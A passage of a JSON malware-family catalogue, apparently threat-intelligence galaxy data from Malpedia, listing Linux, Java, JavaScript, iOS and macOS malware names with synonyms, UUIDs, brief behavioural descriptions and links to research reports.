        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e8c131df-ee3b-41d4-992d-71d3090d2d98",
      "value": "Stantinko"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.sunless",
          "https://www.securityartwork.es/2019/01/09/analisis-de-linux-sunless/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d03fa69b-53a4-4f61-b800-87e4246d2656",
      "value": "Sunless"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.torii",
          "https://blog.avast.com/new-torii-botnet-threat-research"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a874575e-0ad7-464d-abb6-8f4b7964aa92",
      "value": "Torii"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.trump_bot",
          "http://paper.seebug.org/345/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "feb6a5f6-32f9-447d-af9c-08e499457883",
      "value": "Trump Bot"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.tsunami",
          "http://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
          "http://get.cyberx-labs.com/radiation-report",
          "https://www.8ackprotect.com/blog/big_brother_is_attacking_you",
          "https://threatpost.com/muhstik-botnet-exploits-highly-critical-drupal-bug/131360/"
        ],
        "synonyms": [
          "Amnesia",
          "Muhstik",
          "Radiation"
        ],
        "type": []
      },
      "uuid": "21540126-d0bb-42ce-9b93-341fedb94cac",
      "value": "Tsunami (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.turla_rat"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "1b62a421-c0db-4425-bcb2-a4925d5d33e0",
      "value": "Turla RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.umbreon",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/",
          "http://contagiodump.blogspot.com/2018/03/rootkit-umbreon-umreon-x86-arm-samples.html"
        ],
        "synonyms": [
          "Espeon"
        ],
        "type": []
      },
      "uuid": "637000f7-4363-44e0-b795-9cfb7a3dc460",
      "value": "Umbreon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.vpnfilter",
          "https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1",
          "https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html",
          "https://securelist.com/vpnfilter-exif-to-c2-mechanism-analysed/85721/",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/vpnfilter-affected-devices-still-riddled-with-19-vulnerabilities",
          "https://www.justice.gov/opa/pr/justice-department-announces-actions-disrupt-advanced-persistent-threat-28-botnet-infected",
          "https://blog.talosintelligence.com/2018/05/VPNFilter.html",
          "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophos-VPN-Filter-analysis-v2.pdf?la=en",
          "https://www.symantec.com/blogs/threat-intelligence/vpnfilter-iot-malware"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "5ad30da2-2645-4893-acd9-3f8e0fbb5500",
      "value": "elf.vpnfilter"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wellmess"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b0046a6e-3b8b-45ad-a357-dabc46aba7de",
      "value": "elf.wellmess"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.wirenet",
          "http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html",
          "https://news.drweb.com/show/?i=2679&lng=en&c=14"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "47a8fedb-fd60-493a-9b7d-082bdb85621e",
      "value": "Wirenet (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xagent",
          "https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
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          "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf",
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        ],
        "synonyms": [
          "chopstick",
          "fysbis",
          "splm"
        ],
        "type": []
      },
      "uuid": "a8404a31-968a-47e8-8434-533ceaf84c1f",
      "value": "X-Agent (ELF)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xaynnalc",
          "https://twitter.com/michalmalik/status/846368624147353601"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "32b95dc7-03a6-45ab-a991-466208dd92d2",
      "value": "Xaynnalc"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xbash",
          "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ee54fc1e-c574-4836-8cdb-992ac38cef32",
      "value": "Xbash"
    },
    {
      "description": "Linux DDoS C&C Malware",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.xorddos",
          "https://en.wikipedia.org/wiki/Xor_DDoS",
          "https://bartblaze.blogspot.com/2015/09/notes-on-linuxxorddos.html",
          "https://www.fireeye.com/blog/threat-research/2015/02/anatomy_of_a_brutef.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7f9df618-4bd1-44a1-ad88-e5930373aac4",
      "value": "XOR DDoS"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/elf.zollard",
          "https://blogs.cisco.com/security/the-internet-of-everything-including-malware"
        ],
        "synonyms": [
          "darlloz"
        ],
        "type": []
      },
      "uuid": "9218630d-0425-4b18-802c-447a9322990d",
      "value": "Zollard"
    },
    {
      "description": "Small downloader composed as a Fast-AutoLoad LISP (FAS) module for AutoCAD.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/fas.acad",
          "https://github.com/Hopfengetraenk/Fas-Disasm",
          "https://www.forcepoint.com/blog/security-labs/autocad-malware-computer-aided-theft"
        ],
        "synonyms": [
          "Acad.Bursted",
          "Duxfas"
        ],
        "type": []
      },
      "uuid": "fb22d876-c6b5-4634-a468-5857088d605c",
      "value": "AutoCAD Downloader"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ios.dualtoy",
          "http://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f7c1675f-b38a-4511-9ac4-6e475b3815e6",
      "value": "DualToy (iOS)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ios.guiinject",
          "https://sentinelone.com/blogs/analysis-ios-guiinject-adware-library/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d9215579-eee0-4e50-9157-dba7c3214769",
      "value": "GuiInject"
    },
    {
      "description": "The iOS malware that is installed over USB by osx.wirelurker",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/ios.wirelurker",
          "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "bb340271-023c-4283-9d22-123317824a11",
      "value": "WireLurker (iOS)"
    },
    {
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      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.adwind",
          "https://blogs.seqrite.com/evolution-of-jrat-java-malware/",
          "https://www.fortinet.com/blog/threat-research/new-jrat-adwind-variant-being-spread-with-package-delivery-scam.html",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/spam-remote-access-trojan-adwind-jrat",
          "http://malware-traffic-analysis.net/2017/07/04/index.html",
          "https://codemetrix.net/decrypting-adwind-jrat-jbifrost-trojan/",
          "https://gist.github.com/herrcore/8336975475e88f9bc539d94000412885",
          "https://blog.talosintelligence.com/2018/09/adwind-dodgesav-dde.html"
        ],
        "synonyms": [
          "AlienSpy",
          "Frutas",
          "JBifrost",
          "JSocket",
          "Sockrat",
          "UNRECOM"
        ],
        "type": []
      },
      "uuid": "8eb9d4aa-257a-45eb-8c65-95c18500171c",
      "value": "AdWind"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.banload",
          "https://colin.guru/index.php?title=Advanced_Banload_Analysis",
          "https://www.welivesecurity.com/wp-content/uploads/2015/05/CPL-Malware-in-Brasil-zx02m.pdf",
          "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanDownloader%3AWin32%2FBanload"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "30a61fa9-4bd1-427d-9382-ff7c33bd7043",
      "value": "Banload"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.crossrat",
          "https://objective-see.com/blog/blog_0x28.html",
          "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
        ],
        "synonyms": [
          "Trupto"
        ],
        "type": []
      },
      "uuid": "bae3a6c7-9e58-47f2-8749-a194675e1c84",
      "value": "CrossRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.feimea_rat",
          "https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3724d5d0-860d-4d1e-92a1-0a7089ca2bb3",
      "value": "FEimea RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.javadispcash",
          "https://twitter.com/r3c0nst/status/1111254169623674882"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "71286008-9794-4dcc-a571-164195390c39",
      "value": "JavaDispCash"
    },
    {
      "description": "jRAT, also known as Jacksbot, is a RAT with history, written in Java. It has support for macOS, Linux, Windows and various BSD. It also has functionality to participate in DDoS-attacks as well as to perform click fraud. Note that the Adwind family often is mistakenly labeled as jRAT, because of of a red hering reference to jrat.io.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jrat",
          "https://www.intego.com/mac-security-blog/new-multiplatform-backdoor-jacksbot-discovered",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/jacksbot-has-some-dirty-tricks-up-its-sleeves/",
          "https://github.com/java-rat",
          "https://maskop9.wordpress.com/2019/02/06/analysis-of-jacksbot-backdoor/"
        ],
        "synonyms": [
          "Jacksbot"
        ],
        "type": []
      },
      "uuid": "f2a9f583-b4dd-4669-8808-49c8bbacc376",
      "value": "jRAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.jspy",
          "https://how-to-hack.net/hacking-guides/review-of-jspy-rat-jspy-net/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ff24997d-1f17-4f00-b9b8-b3392146540f",
      "value": "jSpy"
    },
    {
      "description": "According to SpiderLabs, in May 2015 the \"company\" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax.com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qarallax_rat",
          "http://www.certego.net/en/news/nearly-undetectable-qarallax-rat-spreading-via-spam/",
          "https://labsblog.f-secure.com/2016/06/07/qarallax-rat-spying-on-us-visa-applicants/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "e7852eb9-9de9-43d3-9f7e-3821f3b2bf41",
      "value": "Qarallax RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qealler",
          "https://www.zscaler.com/blogs/research/qealler-new-jar-based-information-stealer"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d16a3a1f-e244-4715-a67f-61ba30901efb",
      "value": "Qealler"
    },
    {
      "description": "QRat, also known as Quaverse RAT, was introduced in May 2015 as undetectable (because of multiple layers of obfuscation). It offers the usual functionality (password dumper, file browser, keylogger, screen shots/streaming, ...), and it comes as a SaaS. For additional historical context, please see jar.qarallax.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.qrat",
          "https://www.trustwave.com/Resources/SpiderLabs-Blog/Quaverse-RAT--Remote-Access-as-a-Service/",
          "https://blogs.forcepoint.com/security-labs/look-qrypter-adwind%E2%80%99s-major-rival-cross-platform-maas-market",
          "https://www.digitrustgroup.com/java-rat-qrat/"
        ],
        "synonyms": [
          "Quaverse RAT"
        ],
        "type": []
      },
      "uuid": "ef385825-bfa1-4e8c-b368-522db78cf1bd",
      "value": "QRat"
    },
    {
      "description": "Ratty is an open source Java RAT, made available on GitHub and promoted heavily on HackForums. At some point in 2016 / 2017 the original author deleted his repository, but several clones exist.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.ratty",
          "https://github.com/shotskeber/Ratty"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "da032a95-b02a-4af2-b563-69f686653af4",
      "value": "Ratty"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/jar.supremebot",
          "https://dfir.it/blog/2019/02/26/the-supreme-backdoor-factory/"
        ],
        "synonyms": [
          "BlazeBot"
        ],
        "type": []
      },
      "uuid": "651e37e0-1bf8-4024-ac1e-e7bda42470b0",
      "value": "SupremeBot"
    },
    {
      "description": "AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.airbreak",
          "https://www.fireeye.com/blog/threat-research/2018/07/chinese-espionage-group-targets-cambodia-ahead-of-elections.html"
        ],
        "synonyms": [
          "Orz"
        ],
        "type": []
      },
      "uuid": "fd419da6-5c0d-461e-96ee-64397efac63b",
      "value": "AIRBREAK"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.bateleur",
          "https://www.proofpoint.com/us/threat-insight/post/fin7carbanak-threat-actor-unleashes-bateleur-jscript-backdoor"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "fb75a753-24ba-4b58-b7ed-2e39b0c68c65",
      "value": "Bateleur"
    },
    {
      "description": "• BELLHOP is\ta JavaScript backdoor interpreted using the native Windows Scripting Host(WSH).\r\nAfter performing some basic host information gathering, the BELLHOP dropper\tdownloads a base64-encoded blob of JavaScript to disk and\tsets\tup persistence in three ways:\r\n• Creating a Run key in the Registry\r\n• Creating a RunOnce key in the Registry\r\n• Creating a persistent named scheduled task\r\n• BELLHOP communicates using HTTP\tand HTTPS with primarily benign sites such as Google\tDocs and PasteBin.\r\n",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.bellhop",
          "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "7ebeb691-b979-4a88-94e1-dade780c6a7f",
      "value": "BELLHOP"
    },
    {
      "description": "According to the GitHub repo, CACTUSTORCH is a JavaScript and VBScript shellcode launcher. It will spawn a 32 bit version of the binary specified and inject shellcode into it.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.cactustorch",
          "https://www.codercto.com/a/46729.html",
          "https://github.com/mdsecactivebreach/CACTUSTORCH"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "efbb5a7c-8c01-4aca-ac21-8dd614b256f7",
      "value": "CACTUSTORCH"
    },
    {
      "description": "WebAssembly-based crpyto miner.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.cryptonight",
          "https://gist.github.com/JohnLaTwC/112483eb9aed27dd2184966711c722ec",
          "https://twitter.com/JohnLaTwC/status/983011262731714565"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "faa19699-a884-4cd3-a307-36492c8ee77a",
      "value": "CryptoNight"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.cukiegrab_crx",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/malicous-chrome-extensions-stealing-roblox-game-currency-sending-cookies-via-discord/"
        ],
        "synonyms": [
          "Roblox Trade Assist"
        ],
        "type": []
      },
      "uuid": "d47ca107-3e03-4c25-88f9-8156426b7f60",
      "value": "CukieGrab"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.dnsrat",
          "https://www.flashpoint-intel.com/blog/fin7-revisited:-inside-astra-panel-and-sqlrat-malware/"
        ],
        "synonyms": [
          "DNSbot"
        ],
        "type": []
      },
      "uuid": "a4b40d48-e40b-47f2-8e30-72342231503e",
      "value": "DNSRat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.evilnum",
          "https://unit42.paloaltonetworks.com/cardinal-rat-sins-again-targets-israeli-fin-tech-firms/",
          "http://www.pwncode.club/2018/05/javascript-based-bot-using-github-c.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "b7deec7e-24f7-4f78-9d58-9b3c1e182ab3",
      "value": "EVILNUM (Javascript)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon",
          "https://twitter.com/ItsReallyNick/status/1059898708286939136"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "85c25380-69d7-4d7e-b279-6b6791fd40bd",
      "value": "Griffon"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.kopiluwak",
          "https://www.proofpoint.com/us/threat-insight/post/turla-apt-actor-refreshes-kopiluwak-javascript-backdoor-use-g20-themed-attack",
          "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/",
          "https://securelist.com/blog/research/77429/kopiluwak-a-new-javascript-payload-from-turla/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2269d37b-87e9-460d-b878-b74a2f4c3537",
      "value": "KopiLuwak"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.magecart",
          "https://www.riskiq.com/blog/labs/magecart-group-4-always-advancing/",
          "https://www.riskiq.com/blog/labs/magecart-ticketmaster-breach/",
          "https://www.crowdstrike.com/blog/threat-actor-magecart-coming-to-an-ecommerce-store-near-you/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f53e404b-0dcd-4116-91dd-cad94fc41936",
      "value": "magecart"
    },
    {
      "description": "More_eggs is a JavaScript backdoor used by the Cobalt group.  It attempts to connect to its C&C server and retrieve tasks to carry out, some of which are:\r\n- d&exec = download and execute PE file\r\n- gtfo = delete files/startup entries and terminate\r\n- more_eggs = download additional/new scripts\r\n- more_onion = run new script and terminate current script\r\n- more_power = run command shell commands",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.more_eggs",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/",
          "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/",
          "https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish",
          "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/",
          "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
          "https://www.proofpoint.com/us/threat-insight/post/fake-jobs-campaigns-delivering-moreeggs-backdoor-fake-job-offers",
          "https://asert.arbornetworks.com/double-the-infection-double-the-fun/",
          "https://blog.morphisec.com/cobalt-gang-2.0"
        ],
        "synonyms": [
          "SpicyOmelette"
        ],
        "type": []
      },
      "uuid": "1c3009ff-b9a5-4ac1-859c-9b3b4a66a63f",
      "value": "More_eggs"
    },
    {
      "description": "NanHaiShu is a remote access tool and JScript backdoor used by Leviathan. NanHaiShu has been used to target government and private-sector organizations that have relations to the South China Sea dispute.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.nanhaishu",
          "https://community.spiceworks.com/topic/1028936-stealthy-cyberespionage-campaign-attacks-with-social-engineering",
          "https://attack.mitre.org/software/S0228/",
          "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
          "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3e46af39-52e8-442f-aff1-38eeb90336fc",
      "value": "NanHaiShu"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.powmet",
          "http://blog.trendmicro.com/trendlabs-security-intelligence/look-js_powmet-completely-fileless-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "9521ceb0-039d-412c-a38b-7bd9ddfc772e",
      "value": "Powmet"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.scanbox",
          "https://www.alienvault.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
          "http://resources.infosecinstitute.com/scanbox-framework/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "0a13a546-91a2-4de0-9bbb-71c9233ce6fa",
      "value": "scanbox"
    },
    {
      "description": "SQLRat campaigns typically involve a lure document that includes an image overlayed by a VB Form trigger.  Once a user has double-clicked the embedded image, the form executes a VB setup script.  The script writes files to the path %appdata%\\Roaming\\Microsoft\\Templates\\, then creates two task entries triggered to run daily.  The scripts are responsible for deobfuscating and executing the main JavaScript file mspromo.dot.  The file uses a character insertion obfuscation technique, making it appear to contain Chinese characters.  After deobfuscating the file, the main JavaScript is easily recognizable.  It contains a number of functions designed to drop files and execute scripts on a host system.  The SQLRat script is designed to make a direct SQL connection to a Microsoft database controlled by the attackers and execute the contents of various tables.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.sqlrat",
          "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "d51cb8f8-cca3-46ce-a05d-052df44aef40",
      "value": "SQLRat"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_ff_ext",
          "https://www.welivesecurity.com/2017/06/06/turlas-watering-hole-campaign-updated-firefox-extension-abusing-instagram/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "c7ab9e5a-0ec9-481e-95ec-ad08f06cf985",
      "value": "HTML5 Encoding"
    },
    {
      "description": "Expects a parameter to run: needs to be started as 'maintools.js EzZETcSXyKAdF_e5I2i1'.",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.turla_maintools",
          "https://twitter.com/JohnLaTwC/status/915590893155098629"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "218f8ca8-1124-4e44-8fbd-4b05b46bde4b",
      "value": "Maintools.js"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.unidentified_050",
          "https://community.riskiq.com/projects/53b4bd1e-dad0-306b-7712-d2a608400c8f",
          "https://gist.github.com/9b/141a5c7ab8b4280901722e2cd931b7ef"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "f2b0ffdc-7d4e-4786-8935-e7036faa174d",
      "value": "Unidentified 050 (APT32 Profiler)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/js.witchcoven",
          "https://www2.fireeye.com/rs/848-DID-242/images/rpt-witchcoven.pdf"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "dcc0fad2-29a9-4b69-9d75-d288ca458bc7",
      "value": "witchcoven"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.applejeus",
          "https://securelist.com/operation-applejeus/87553/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "ca466f15-8e0a-4030-82cb-5382e3c56ee5",
      "value": "AppleJeus"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.bella",
          "https://github.com/kai5263499/Bella",
          "https://blog.malwarebytes.com/threat-analysis/2017/05/another-osx-dok-dropper-found-installing-new-backdoor/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "3c5036ad-2afc-4bc1-a5a3-b31797f46248",
      "value": "Bella"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.careto",
          "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed"
        ],
        "synonyms": [
          "Appetite",
          "Mask"
        ],
        "type": []
      },
      "uuid": "dcabea75-a433-4157-bb7a-be76de3026ac",
      "value": "Careto"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cointhief",
          "https://www.alienvault.com/blogs/labs-research/os-x-malware-samples-analyzed"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "70e73da7-21d3-4bd6-9a0e-0c904e6457e8",
      "value": "CoinThief"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.coldroot_rat",
          "https://objective-see.com/blog/blog_0x2A.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "076a7ae0-f4b8-45c7-9de4-dc9cc7e54bcf",
      "value": "Coldroot RAT"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.cpumeaner",
          "https://www.sentinelone.com/blog/osx-cpumeaner-miner-trojan-software-pirates/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "74360d1e-8f85-44d1-8ce7-e76afb652142",
      "value": "CpuMeaner"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.creative_updater",
          "https://blog.malwarebytes.com/threat-analysis/2018/02/new-mac-cryptominer-distributed-via-a-macupdate-hack/",
          "https://objective-see.com/blog/blog_0x29.html",
          "https://digitasecurity.com/blog/2018/02/05/creativeupdater/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "40fc6f71-75ac-43ac-abd9-c90b0e847999",
      "value": "CreativeUpdater"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crisis",
          "https://www.intego.com/mac-security-blog/new-apple-mac-trojan-called-osxcrisis-discovered-by-intego-virus-team/?",
          "http://contagiodump.blogspot.com/2012/12/aug-2012-w32crisis-and-osxcrisis-jar.html",
          "https://www.symantec.com/connect/blogs/crisis-windows-sneaks-virtual-machines"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "2bb6c494-8057-4d83-9202-fda3284deee4",
      "value": "Crisis (OS X)"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.crossrider",
          "https://blog.malwarebytes.com/threat-analysis/2018/04/new-crossrider-variant-installs-configuration-profiles-on-macs/?utm_source=twitter&utm_medium=social"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "05ddb459-5a2f-44d5-a135-ed3f1e772302",
      "value": "Crossrider"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.darthminer",
          "https://blog.malwarebytes.com/threat-analysis/2018/12/mac-malware-combines-empyre-backdoor-and-xmrig-miner/"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "a8e71805-014d-4998-b21e-3125da800124",
      "value": "DarthMiner"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dockster",
          "http://contagiodump.blogspot.com/2012/12/osxdockstera-and-win32trojanagentaxmo.html",
          "https://www.f-secure.com/weblog/archives/00002466.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "713d8ec4-4983-4fbb-827c-2ef5bc0e6930",
      "value": "Dockster"
    },
    {
      "description": "",
      "meta": {
        "refs": [
          "https://malpedia.caad.fkie.fraunhofer.de/details/osx.dummy",
          "https://objective-see.com/blog/blog_0x32.html"
        ],
        "synonyms": [],
        "type": []
      },
      "uuid": "cbf9ff89-d35b-4954-8873-32f59f5e4d7d",
      "value": "Dummy"
    },
    {
      "description": "",
      "meta": {
        "refs": [
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    {
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    {
